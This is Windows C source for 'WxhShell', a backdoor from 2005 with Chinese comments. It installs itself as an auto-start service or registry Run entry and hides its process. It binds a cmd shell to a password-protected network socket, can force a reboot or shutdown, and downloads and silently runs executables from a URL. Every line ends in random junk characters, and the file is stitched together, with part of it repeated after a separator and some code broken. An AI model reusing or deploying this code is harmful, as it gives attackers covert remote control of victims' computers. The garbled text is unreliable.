    break; r-_-/O"l  
    } eB9F35[  
  // 关机 v.53fx  
  case 'd': { ? CU;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R(s[JH(&  
    if(Boot(SHUTDOWN)) W/.n R[!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I2gSgv%  
    else { J4Ca0Ag  
    closesocket(wsh); m A('MS2  
    ExitThread(0); blUS6"kV}  
    } 3uL$+F  
    break; 5& _R+g  
    } "iJAM`Hi  
  // 获取shell 5O~;^0iC  
  case 's': { k)zBw(wr  
    CmdShell(wsh); TVVu_ib  
    closesocket(wsh); j:$Z-s  
    ExitThread(0);  USJ4Z  
    break; 8l<~zIoO  
  } qE.3:bQ!`  
  // 退出 S`& yVzv  
  case 'x': { k>=wwPy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >:OP+Vc  
    CloseIt(wsh); AMN`bgxW  
    break; jGYl*EBx  
    } v}<z_i5/C.  
  // 离开 y\:,.cZ+TQ  
  case 'q': { p7L6~IN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Jw^h<z/Ux  
    closesocket(wsh); E)]emeG d  
    WSACleanup(); _8 l=65GW  
    exit(1); Q6n8,2*  
    break; ~ujg250.L  
        } X{iidTW`xv  
  } @ev^e !B  
  } PiLLUyQx  
(L!u[e0[#  
  // 提示信息 ;L,yJ~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D=B:tP  
} &`_| [Y ]H  
  } _zLEHEZ-  
@h5Q?I  
  return; GYonb) F  
} 0Qg%48u  
f5R%F ~  
// shell模块句柄 %5;kNeD\Fq  
int CmdShell(SOCKET sock) M#yUdl7d  
{ /x /W>J2  
STARTUPINFO si; \rCdsN2H  
ZeroMemory(&si,sizeof(si)); n&8N`!^o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }dSFv   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y5TBWcGU%  
PROCESS_INFORMATION ProcessInfo; (CE2]Nv9")  
char cmdline[]="cmd"; .yb8<qs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &A^2hPe}  
  return 0; 7>gW2 m  
} Si|8xq$E;  
7A  
// 自身启动模式 AI .2os*  
int StartFromService(void) >Lz2zlZI  
{ pe+m%;nzR  
typedef struct 72y!cK6  
{ gIcPKj"8${  
  DWORD ExitStatus; i k0w\*  
  DWORD PebBaseAddress; ^1ks`1  
  DWORD AffinityMask; 6,]2;'  
  DWORD BasePriority; ?#__#  
  ULONG UniqueProcessId; #|lVQ@=  
  ULONG InheritedFromUniqueProcessId; QYWl`Yqf  
}   PROCESS_BASIC_INFORMATION; l> >BeZ  
o#IWH;ck.  
PROCNTQSIP NtQueryInformationProcess; vw` '9~  
3iiOxg?j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hflDVGBW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +7K]5p;!~  
l_x>.'a  
  HANDLE             hProcess; h#8 {fr)6  
  PROCESS_BASIC_INFORMATION pbi; s'@@q  
]j(Ld\:L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dRTpGz  
  if(NULL == hInst ) return 0; <pUc( tPoz  
j MA%`*r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [92bGR{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); FRTvo  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #p=Wt&2  
F#{ PJ#  
  if (!NtQueryInformationProcess) return 0; U3w*z6OG  
r3.v^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qxD<mZ@-R0  
  if(!hProcess) return 0; wSs78c=  
;<`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iainl@3Qj  
(yz8}L3  
  CloseHandle(hProcess); OZh+x`' #  
,@2d4eg 4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Vs[!WJ 7  
if(hProcess==NULL) return 0; POQ1K O  
LZu_-I  
HMODULE hMod; 1x|/z,   
char procName[255]; c>Ljv('bj  
unsigned long cbNeeded; . LNqU#a  
D%.<} vG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5{6ebq55"  
nzu 3BVv  
  CloseHandle(hProcess); H %PIE1_  
Q_a%$a.rV  
if(strstr(procName,"services")) return 1; // 以服务启动 >l5JwwG  
z~a]dMs"(P  
  return 0; // 注册表启动 U 0S}O(Ptr  
} z9KsSlS ^  
dkbKnY&  
// 主模块 F[OBPPQ3  
int StartWxhshell(LPSTR lpCmdLine) i@d@~M7/  
{ hO:X\:G  
  SOCKET wsl; e3>k"  
BOOL val=TRUE; YuDNm}r[  
  int port=0; ts0K"xmY\c  
  struct sockaddr_in door; RbNRBK!{  
d_Vwjv&@/"  
  if(wscfg.ws_autoins) Install(); ({x<!5XL  
}~5xlg$B<<  
port=atoi(lpCmdLine); K#{E87G(  
]H<C Rw  
if(port<=0) port=wscfg.ws_port; 1')/BM2  
  s/'gl  
  WSADATA data; & ~[%N O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Wkv **X}  
Afa{f}st  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h Tn^:%(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PZl(S}VY  
  door.sin_family = AF_INET; =U".L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]QU52R@M  
  door.sin_port = htons(port); Onoi6^G  
^q$vyY   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K+mtuB]yr  
closesocket(wsl); Qi7^z;  
return 1; J0|}u1? l  
} w G Q{  
Ic&t_B*i}]  
  if(listen(wsl,2) == INVALID_SOCKET) { _>:g&pS/  
closesocket(wsl); tdr*>WL  
return 1; 4/ U]7Y  
} _.06^5o  
  Wxhshell(wsl); F]?$Q'U  
  WSACleanup(); w } 2|Do$5  
T}]Ao  
return 0; (A &@ <  
hOMFDfhU  
} emS+%6U  
1y"37;x  
// 以NT服务方式启动 %dT%r=%Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j)IK  
{ n7q-)Dv_U  
DWORD   status = 0; 3]Lk}0atpL  
  DWORD   specificError = 0xfffffff; 5\Y/so=  
0_D~n0rq,v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,n!xzoX_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #-HN[U?Gs  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =\%>O7c,8Y  
  serviceStatus.dwWin32ExitCode     = 0; iK %Rq  
  serviceStatus.dwServiceSpecificExitCode = 0; X0Oq lAw  
  serviceStatus.dwCheckPoint       = 0; )Y&De)=  
  serviceStatus.dwWaitHint       = 0; EJtU(HmW  
Z#MODf0H@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YJ16vb9  
  if (hServiceStatusHandle==0) return; ^]R0d3?>\  
Eq<#pX6  
status = GetLastError(); 56_KB.Ww~  
  if (status!=NO_ERROR) Yg]f2ke  
{ G[>-@9_b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /l$noaskX  
    serviceStatus.dwCheckPoint       = 0; WNYLQ=;  
    serviceStatus.dwWaitHint       = 0; }C&c=3V  
    serviceStatus.dwWin32ExitCode     = status; 8rpN2M 3h  
    serviceStatus.dwServiceSpecificExitCode = specificError; l*m|b""].u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ToJru  
    return; VD3[ko  
  } T&23Pf1  
rzBWk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !3&vgvr  
  serviceStatus.dwCheckPoint       = 0; "&+0jfLY+  
  serviceStatus.dwWaitHint       = 0; (P>vI'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .yP 3}Nl  
} _5Ll L#)  
F_Pd\Aq8  
// 处理NT服务事件,比如:启动、停止 t@HE.h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) anwn!Eqk"  
{ 7z,M`14  
switch(fdwControl) hW+Dko(s  
{ 1a!h&!$9  
case SERVICE_CONTROL_STOP: T+ t-0k  
  serviceStatus.dwWin32ExitCode = 0; L wu;y@[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; YaT07X.(b  
  serviceStatus.dwCheckPoint   = 0; ha),N<'  
  serviceStatus.dwWaitHint     = 0; >PJ-Z~O'   
  { 5k(#kyP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 68!fcK  
  } vxt^rBA  
  return; ,RHHNTB("  
case SERVICE_CONTROL_PAUSE: A{o{o++  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mHMej@  
  break; ]1[;A$7  
case SERVICE_CONTROL_CONTINUE: KE3v3g<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o<'gM]$  
  break; ]/'] {*T1  
case SERVICE_CONTROL_INTERROGATE: D_)vGvv3;.  
  break; T:&+#0<  
}; N.`]D)57  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @&W?e?O ~G  
} C(P$,;6  
~<U3KB  
// 标准应用程序主函数 t}FMBG o[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +J4t0x  
{ uSQ*/h-<)0  
s?E:]  
// 获取操作系统版本 X m3t xp#  
OsIsNt=GetOsVer(); mC7Y *  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Wd}mC<rv1  
<<1oc{i  
  // 从命令行安装 >8tuLd*T  
  if(strpbrk(lpCmdLine,"iI")) Install(); M Sj0D2H  
_YS+{0 Vq%  
  // 下载执行文件 dW`D?$(@,  
if(wscfg.ws_downexe) { \}=b/FL=U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p o`$^TB^+  
  WinExec(wscfg.ws_filenam,SW_HIDE); !%X`c94  
} D+3Y.r 9  
aVYUk7_<  
if(!OsIsNt) { ,H?p9L; qp  
// 如果时win9x,隐藏进程并且设置为注册表启动 jb2:O,+!  
HideProc(); {\&"I|dpe  
StartWxhshell(lpCmdLine); f)x}_dw%  
} zOOX>3^  
else iFA"m;$  
  if(StartFromService()) *La =7y:  
  // 以服务方式启动 M::iU_  
  StartServiceCtrlDispatcher(DispatchTable); #0D.37R+k  
else |7$h@KF=S  
  // 普通方式启动 TH!8G,(w  
  StartWxhshell(lpCmdLine); pQY>  
Q2NnpsA^6  
return 0; 's?Fip  
} kU/=Du  
3>" h*U#  
U;GoC$b}|  
DV\ei")  
=========================================== C(|5,P#5  
h12wk2@P/]  
U08?*{  
vWH>k+9&X  
^BX@0"&-  
`yZZP   
" YoJ'=z,e  
!f-o,RJ  
#include <stdio.h> J#DcT@  
#include <string.h> HJR<d&l;p  
#include <windows.h> zYdtQjv  
#include <winsock2.h> i@Zj 7#e*  
#include <winsvc.h> e}[we:  
#include <urlmon.h> B?y t%f1  
:(`>bY  
#pragma comment (lib, "Ws2_32.lib") CJixK>Y^  
#pragma comment (lib, "urlmon.lib") ~bTae =FP  
-<!17jy  
#define MAX_USER   100 // 最大客户端连接数 1>VS/H`  
#define BUF_SOCK   200 // sock buffer p8dn-4  
#define KEY_BUFF   255 // 输入 buffer X); Zm7  
&;U7/?Q  
#define REBOOT     0   // 重启 ~UC/|t$  
#define SHUTDOWN   1   // 关机 zD;] sk4  
Te}yQ=+  
#define DEF_PORT   5000 // 监听端口 !u}3H|6~  
J*!:ar  
#define REG_LEN     16   // 注册表键长度 ;-GzGDc~0  
#define SVC_LEN     80   // NT服务名长度 pHB35=p28  
y9li<u<PF  
// 从dll定义API Xb-c`k~_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  ,nR8l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D(6x'</>?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); az;jMnPpR5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <]^;/2 .B  
:V~*vLvR  
// wxhshell配置信息 c dbSv=r  
struct WSCFG { dMmka  
  int ws_port;         // 监听端口 kO_XyC4(  
  char ws_passstr[REG_LEN]; // 口令 N"RYM~c7  
  int ws_autoins;       // 安装标记, 1=yes 0=no K]!u@I*K"  
  char ws_regname[REG_LEN]; // 注册表键名  'Q>z**  
  char ws_svcname[REG_LEN]; // 服务名 psX%.95Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aiZo{j<6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0"psKf'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4F,Ql"ae(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1`]IU_)1B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <-:@} |br  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  7EP|X.  
]esLAo  
}; Gj19KQ1G  
a@y5JxFAy  
// default Wxhshell configuration +c8AbEewg  
struct WSCFG wscfg={DEF_PORT, DsJn#>?Kh  
    "xuhuanlingzhe", zk'K.! `^  
    1, Z#6~N/b  
    "Wxhshell", r`R~{;oT  
    "Wxhshell", 2HGD{;6>v{  
            "WxhShell Service", -^4bA<dCCE  
    "Wrsky Windows CmdShell Service", >2CusT2  
    "Please Input Your Password: ", b]<HhU  
  1, VNrO(j DUv  
  "http://www.wrsky.com/wxhshell.exe", rgdQR^!l6  
  "Wxhshell.exe" Eu/y">;v#  
    }; 72ViPWW  
Kq 4<l  
// 消息定义模块 B UQn+;be  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D5!K<G?-K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %7>AcTN~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3V Mh)  
char *msg_ws_ext="\n\rExit."; Ivt} o_b*  
char *msg_ws_end="\n\rQuit."; L> Oy7w)Y  
char *msg_ws_boot="\n\rReboot..."; gJ5wAK+?  
char *msg_ws_poff="\n\rShutdown..."; bV$8 >[`  
char *msg_ws_down="\n\rSave to "; 3$N %iE6  
[j}7@Mr`\  
char *msg_ws_err="\n\rErr!"; xR|eyeR  
char *msg_ws_ok="\n\rOK!"; . z$Sm  
3P#+) F~  
char ExeFile[MAX_PATH]; :#w+?LA*  
int nUser = 0; M_!u@\  
HANDLE handles[MAX_USER]; xw+<p  
int OsIsNt; Km9}^*Mo%  
|3, yq^2  
SERVICE_STATUS       serviceStatus; 5+bFy.UW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 60,-\h  
A?Nn>xF9X  
// 函数声明 WiNr866nB  
int Install(void); J[!x%8m  
int Uninstall(void); i6F:C &.  
int DownloadFile(char *sURL, SOCKET wsh); 1rv$?=Z  
int Boot(int flag); ,.oa,sku  
void HideProc(void); r'd:SaU+  
int GetOsVer(void); <,@H;|mZ  
int Wxhshell(SOCKET wsl); &*aer5?`  
void TalkWithClient(void *cs); y Tw',N{  
int CmdShell(SOCKET sock); w.D4dv_H  
int StartFromService(void); o9 i#N  
int StartWxhshell(LPSTR lpCmdLine); Qb?y@>-[  
AGEZ8(h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ByhOK}u;P4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3|~(?4aE  
V9zywM  
// 数据结构和表定义 ?..i4  
SERVICE_TABLE_ENTRY DispatchTable[] = ]PlY}VOY  
{ K=tx5{V  
{wscfg.ws_svcname, NTServiceMain}, 8Da(tS  
{NULL, NULL} 18.Y/nZAgQ  
}; f^!11/Wv  
Yz2{LW[K  
// 自我安装 BZJKiiD  
int Install(void) C!7U<rI  
{ @1<omsl  
  char svExeFile[MAX_PATH]; rkfQr9Vc  
  HKEY key; 9 V=<| 2  
  strcpy(svExeFile,ExeFile); 8> Du  
d<^_w!4X}  
// 如果是win9x系统,修改注册表设为自启动 [_ M6/  
if(!OsIsNt) { -_2Dy1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dd \bI_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [xtK"E#  
  RegCloseKey(key); |"CJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AZxrJ2G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NV8]#b  
  RegCloseKey(key); [|a( y6Q  
  return 0; uX<+hG.n}  
    } k;;nE o~6  
  } N<aB)</  
} d&aBs++T  
else { #D`S  
S)"##-~`T  
// 如果是NT以上系统,安装为系统服务 YKP=0 j3,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |?x^8e<*  
if (schSCManager!=0) m x3}m?WQ  
{ Cq?',QU6j  
  SC_HANDLE schService = CreateService a9#W9eP  
  ( w::r?.9  
  schSCManager, ^273l(CZ1  
  wscfg.ws_svcname, < Gr9^C  
  wscfg.ws_svcdisp, 5mI?pfm  
  SERVICE_ALL_ACCESS, 6Cl+KcJH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v]WH8GI  
  SERVICE_AUTO_START, 9U2Px$E  
  SERVICE_ERROR_NORMAL, <Zig Co w  
  svExeFile, h'B9|Cm  
  NULL, _Fy4DVCg  
  NULL, #04{(G|~+E  
  NULL, ,'FD}yw4v  
  NULL, G%2P  
  NULL _qY`KP "  
  ); z@!^ow)`J  
  if (schService!=0) Y*Y&)k6 t  
  { lq1[r~  
  CloseServiceHandle(schService); tgO+*q5B  
  CloseServiceHandle(schSCManager); PSW #^o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R'G'&H{N  
  strcat(svExeFile,wscfg.ws_svcname); xik`W!1S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >65 TkAp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X$BXT  
  RegCloseKey(key); `Uz s+k-]  
  return 0; rW:iBq  
    } Ab*] dn`z  
  } ]@*tfz\YaH  
  CloseServiceHandle(schSCManager); GS}0;x  
} so} l#  
}  ;e&!  
wX-RQ[2X  
return 1; myD{sE2A  
} 1 h<fJzh  
'To<T  
// 自我卸载 mYX56,b}5  
int Uninstall(void) j: <t  
{ q^u1z|'Z  
  HKEY key; Lb!r(o>8Cb  
dO+kPC  
if(!OsIsNt) { 7k 3p'FeS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LL{t5(- _  
  RegDeleteValue(key,wscfg.ws_regname); +jcdf}  
  RegCloseKey(key); 4w@v#H@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N%O[  
  RegDeleteValue(key,wscfg.ws_regname); a|UqeNI{  
  RegCloseKey(key); r k@UsHy  
  return 0; -dl}_   
  } 0[lS(K  
} ?^U c=  
} BApa^j\?  
else { ]X*YAPv  
9^oo-,Su_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y0;,dv]  
if (schSCManager!=0) 8, =G1c  
{ (%i!%{!]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =h(7rU"Yz  
  if (schService!=0) iNt 4>  
  { otU@X 3<_  
  if(DeleteService(schService)!=0) { _]P a>8X*  
  CloseServiceHandle(schService); _=uviMuE  
  CloseServiceHandle(schSCManager); %=BtOM_2  
  return 0; . /Y&\<  
  } m+H%g"Zj  
  CloseServiceHandle(schService); :#Ty^-"]1  
  } _~PO  
  CloseServiceHandle(schSCManager); s){Q&E~X  
} 7O:"~L  
} p[u4,  
C+`xx('N9  
return 1; .XIr?>G  
} EVG"._I@  
` %uK0qw"  
// 从指定url下载文件 S:#e8H_7m]  
int DownloadFile(char *sURL, SOCKET wsh) Im6U_JsNZh  
{ `\wUkmH  
  HRESULT hr; B n{)|&;  
char seps[]= "/"; $iwIF7,\P  
char *token; ^dh=M5xz)  
char *file; ?<E0zM+  
char myURL[MAX_PATH]; 2pz4rc  
char myFILE[MAX_PATH]; $1~c_<DN  
uw_H:-J  
strcpy(myURL,sURL); =w6}\ 'X  
  token=strtok(myURL,seps); L/)B}8m\  
  while(token!=NULL) *y{+W   
  { V+46R ]  
    file=token; `6P?G|'   
  token=strtok(NULL,seps); J8J!#j.  
  } w3d34*0$  
^eobp.U  
GetCurrentDirectory(MAX_PATH,myFILE); |Hfl&3  
strcat(myFILE, "\\"); =C#*!N73  
strcat(myFILE, file); G&jZ\IV  
  send(wsh,myFILE,strlen(myFILE),0); a/34WFC  
send(wsh,"...",3,0); 5.dl>,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~zMDY F"&  
  if(hr==S_OK) cg{Gc]'1#  
return 0; >zFD $  
else B_cgWJ*4  
return 1; :Z[(A"dA  
~U9q-/(J/  
} ! j{CuA/  
iyc$)"w  
// 系统电源模块 O)`Gzx*ShU  
int Boot(int flag) v[VC2D  
{ e]+7DE  
  HANDLE hToken; }Fm\+JOS   
  TOKEN_PRIVILEGES tkp; ?&6Q%IUW1  
J]dW1boT@  
  if(OsIsNt) { -8/JP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =D5wqCT(Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [EER4@_  
    tkp.PrivilegeCount = 1; pu#[pa  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gX_SKy  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /~tP7<7A  
if(flag==REBOOT) { L/%Y#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n_}aZB3;U  
  return 0; qW3x{L$c  
} $cu]_gu  
else { Bh,Q8%\6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ok,HD7  
  return 0; 6^ab@GrN\  
} i&*<lff  
  } 3 1k  
  else { 3Soy3Xp  
if(flag==REBOOT) { m &!XA  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ` .$&T7  
  return 0; +<{m45  
} { m'AY)  
else { )'t&q/Wn  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F<gMUDB  
  return 0; ;Yv14{T!  
} zIm-X,~I$  
} h;nQxmJ9  
%4/xH 9  
return 1; ntZ~m  
} OT@yPG  
jqtVpNwM  
// win9x进程隐藏模块 GMw)*  
void HideProc(void) 9DPb|+O-  
{ TL@mM  
x) 5LT}p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V)h y0_  
  if ( hKernel != NULL ) h7*O.Opm=  
  { |T y=7d,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \XDmK   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f"P$f8$  
    FreeLibrary(hKernel); 87}(AO)  
  } ]'UgZsJ  
N|<bVq%  
return; ,cD1{T\  
} G B&:G V  
x_W3sS]ej  
// 获取操作系统版本 #j.FJFGX  
int GetOsVer(void) S<pk c8  
{ ,J& 9kYz  
  OSVERSIONINFO winfo; TzY *;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bvp)r[8h  
  GetVersionEx(&winfo); D )gD<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ( OXY^iq  
  return 1; [4\aYB9N  
  else 'kQ~  
  return 0; x?=B\8m  
} 7UDq/:}Fo  
~#4~_d.=L  
// 客户端句柄模块 i*68-n  
int Wxhshell(SOCKET wsl) X  Ny Y$  
{ }<&d]N  
  SOCKET wsh; 2rmNdvvrk  
  struct sockaddr_in client; yKlU6t&` G  
  DWORD myID; .l=p[BI  
5W{hH\E _5  
  while(nUser<MAX_USER) ~QCA -Yud  
{ eo ?Oir)  
  int nSize=sizeof(client); o?y"]RCM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +(y>qd  
  if(wsh==INVALID_SOCKET) return 1; vnZ4(  
y+RRg[6|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "qE {a>d  
if(handles[nUser]==0) OGGSS&5t w  
  closesocket(wsh); J?,?fqb  
else 2+Zti8  
  nUser++; UO1$UF! QC  
  } k% NrL@z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L20rv:W$h  
-$9~xX  
  return 0; yfC2^#9 Zu  
} kfRJ\"`   
 C/  
// 关闭 socket )vQNiik#  
void CloseIt(SOCKET wsh) F3 Y<ZbxT  
{ bOe<\Y$  
closesocket(wsh); 9 ?(x>P  
nUser--; *W%'Di  
ExitThread(0); F^]aC98]1  
} Vf$1Sjw  
$bFgsy*N2  
// 客户端请求句柄 80HEAv,O  
void TalkWithClient(void *cs) Y&:/~&'  
{ Kk`<f d  
2]3G1idB  
  SOCKET wsh=(SOCKET)cs; A(NEWO  
  char pwd[SVC_LEN]; %_)b>C18 y  
  char cmd[KEY_BUFF]; H6{Rd+\Z  
char chr[1]; Txu>/1N,  
int i,j; ?`"<DH~:0B  
dX 0x Kk%#  
  while (nUser < MAX_USER) { B6uf;Yc  
E}t-N  
if(wscfg.ws_passstr) { y/H8+0sEk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `!_?uT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j~.u>4  
  //ZeroMemory(pwd,KEY_BUFF); ?o@E1:aA  
      i=0; Etdd\^  
  while(i<SVC_LEN) { NXi ,5  
/lru"R D  
  // 设置超时 aK-N}T  
  fd_set FdRead; (KZUvsSk  
  struct timeval TimeOut; bnIf}ut-G  
  FD_ZERO(&FdRead); C>M6&=  
  FD_SET(wsh,&FdRead); f&f[La  
  TimeOut.tv_sec=8; UX?X]ZYVR  
  TimeOut.tv_usec=0; ^g\h]RD}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3EAX]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Kgps_tY%  
D=<t;+|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WtMcI>4w  
  pwd=chr[0]; Fv<]mu  
  if(chr[0]==0xd || chr[0]==0xa) { O $YJku  
  pwd=0; 9  4 "f  
  break; )_WH#-}  
  } e$gaE</  
  i++; @b4b{d5[  
    } Q^\{Zg)p  
 ;I[ .  
  // 如果是非法用户,关闭 socket !Mm+bWn=mB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zaQ$ Ht  
} Uzy ;#q  
`>$g y/N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %9fa98>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !x+MVJ]  
`W6:=H  
while(1) { Be'?#Qe   
,!xz*o+#@  
  ZeroMemory(cmd,KEY_BUFF); d91I  
Sz^TG F  
      // 自动支持客户端 telnet标准   PL9zNCr-[  
  j=0; `@W3sW/^  
  while(j<KEY_BUFF) { }S1Z>ZA5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O(b"F? w  
  cmd[j]=chr[0]; KBp!zSl  
  if(chr[0]==0xa || chr[0]==0xd) { Z:W')Nd(  
  cmd[j]=0; WlF+unB!9  
  break; )cf p(16  
  } R V_MWv  
  j++; d{vc wZQ  
    } ot&j HS'  
;))[P_$zB  
  // 下载文件 :T8u?@ .  
  if(strstr(cmd,"http://")) { hlY S=cgY=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ih9ORp7  
  if(DownloadFile(cmd,wsh)) rcD.P?"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eA;j/&qH  
  else iPR!JX _  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I_R5\l}O+D  
  } E1mI Xd;.  
  else { G FSlYG  
b7F3]W<`&  
